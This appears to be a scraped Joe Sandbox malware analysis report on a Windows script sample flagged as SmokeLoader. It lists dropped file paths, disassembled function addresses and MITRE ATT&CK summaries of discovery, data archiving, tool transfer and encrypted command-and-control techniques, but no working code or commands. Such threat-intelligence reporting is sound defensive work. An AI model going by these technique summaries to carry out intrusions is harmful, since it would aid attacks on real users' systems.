Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report w4DO1Z18yg.wsf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ibofste.wvx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcaxh05i.peg.ps1

C:\Users\user\AppData\Local\Temp\oBuf.exe

C:\Users\user\AppData\Roaming\tesubba

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
w4DO1Z18yg.wsf

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 008E14FF Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 006A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Function 006A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Function 008E11BE Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre